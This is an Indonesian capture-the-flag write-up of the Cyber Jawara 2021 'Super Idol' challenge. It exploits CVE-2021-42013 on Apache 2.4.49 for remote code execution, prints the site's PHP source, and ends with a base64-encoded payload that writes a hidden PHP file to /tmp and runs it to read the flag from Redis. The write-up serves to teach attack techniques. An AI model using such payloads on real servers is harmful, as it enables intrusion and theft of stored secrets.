[Cyber Jawara 2021] Super Idol
Diberikan soal dan sebuah website dengan deskripsi seperti berikut
Di dalam website hanya terdapat satu form input nama yang berfungsi sebagai Social Credit viewer dari nama yang diinputkan.
Pada website terdapat hint Anda akan menjadi SUPER IDOL jika mendapatkan +999999 social credit yang kemungkinan kita bisa mendapatkan flag jika sudah menjadi SUPER IDOL
Setelah dilakukan pengecekan, ternyata website dijalankan pada web server Apache/2.4.49 yang terdapat CVE-2021-42013 Path Traversal & Remote Code Execution
Nah, untuk exploitnya sendiri saya mengambil referensi dari Github ini untuk mendapatkan RCE.
Nah, setelah itu untuk mendapatkan flagnya bagaimana?
Jika kita ingat dengan HINT pertama tadi kita dapat melihat source code dari website untuk mendapatkan apa yang dimaksud menjadi SUPER IDOL
Source Code /var/www/social_credit/public/index.php
<?php
require __DIR__ . '/../vendor/autoload.php';
$redis = new Predis\Client('tcp://redis:6379');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<title>Super Idol</title>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-12 text-center">
<h1>Super Idol</h1>
<iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/aCgP8BFjrw4" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<p>Daftarkan nama anda untuk mendapatkan social credit secara random.</p>
<p>Anda akan menjadi SUPER IDOL jika mendapatkan +999999 social credit</p>
<form class="row justify-content-md-center" action="" method="POST">
<div class="col-6">
<label for="nama" class="form-label">Nama</label>
<input type="text" class="form-control" id="nama" name="nama" aria-describedby="namaHelp">
<div id="namaHelp" class="form-text">Masukkan nama anda.</div>
</div>
<div class="col-12">
<button type="submit" name="get_social_credit" class="btn btn-primary">Get Social Credit</button>
</div>
</form>
</div>
<div class="col-12 text-center">
<?php
if (isset($_POST['get_social_credit'])) {
$nama = $_POST['nama'];
if (!ctype_alpha($nama)) {
echo '<h3 class="text-danger">Nama hanya berupa karakter [a-zA-Z], Social Credit -9999</h3>';
die();
}
if ($redis->exists("nama_".$nama)) {
$scredit = intval($redis->get("nama_".$nama));
echo "<h3 class=\"text-success\">Hi $nama, kamu mendapatkan Social Credit +$scredit</h3>";
} else {
$scredit = rand(1, 1000);
$redis->set("nama_".$nama, $scredit);
echo "<h3 class=\"text-success\">Hi $nama, kamu mendapatkan Social Credit +$scredit</h3>";
}
if ($scredit == 999999) {
$flag = $redis->get("flag_social_credit");
echo "<h3 class=\"text-primary\">Hi $nama, kamu rakyat yang budiman, kamu mendapatkan flag $flag dan berbakat menjadi SUPER IDOL</h3>";
}
}
?>
</div>
<div class="col-12 text-center">
<br>
<img width="200px" src="https://c.tenor.com/-NENNF2ptzkAAAAC/social-credit-social-credit-score.gif" alt="social credit">
</div>
</div>
</div>
</body>
</html>
Jika kita melihat pada block code ini, kita dapat mengetahui bahwa flag disimpan pada Redis. Flag akan diberikan jika $scredit == 999999.
Lalu bagaimana caranya agar kita mengetahui nama yang mempunyai $scredit == 999999 ??
Tidak perlu pusing untuk mencari tahu nama yang mempunyai $scredit == 999999, kita dapat langsung melakukan query pada Redis untuk mendapatkan flag yang sudah disediakan dalam source code diatas.
$flag = $redis->get("flag_social_credit");
Nah dengan itu kita dapat melakukan query untuk mendapatkan flag dengan menjalankan suatu script PHP yang sudah kita buat dan disimpan pada server.
Script PHP:
<?php require '/var/www/social_credit/vendor/autoload.php'; $redis = new Predis\Client('tcp://redis:6379'); $flag = $redis->get('flag_social_credit'); echo $flag; ?>
Untuk mempermudah escaping dan tidak membingungkan antara " dan ' pada saat curl, saya mengubah script PHP tersebut ke dalam bentuk base64.
Final Payload
echo 'PD9waHAgcmVxdWlyZSAnL3Zhci93d3cvc29jaWFsX2NyZWRpdC92ZW5kb3IvYXV0b2xvYWQucGhwJzsgJHJlZGlzID0gbmV3IFByZWRpc1xDbGllbnQoJ3RjcDovL3JlZGlzOjYzNzknKTsgJGZsYWcgPSAkcmVkaXMtPmdldCgnZmxhZ19zb2NpYWxfY3JlZGl0Jyk7IGVjaG8gJGZsYWc7ID8+' | base64 -d > /tmp/.,/.b.php; php /tmp/.,/.b.php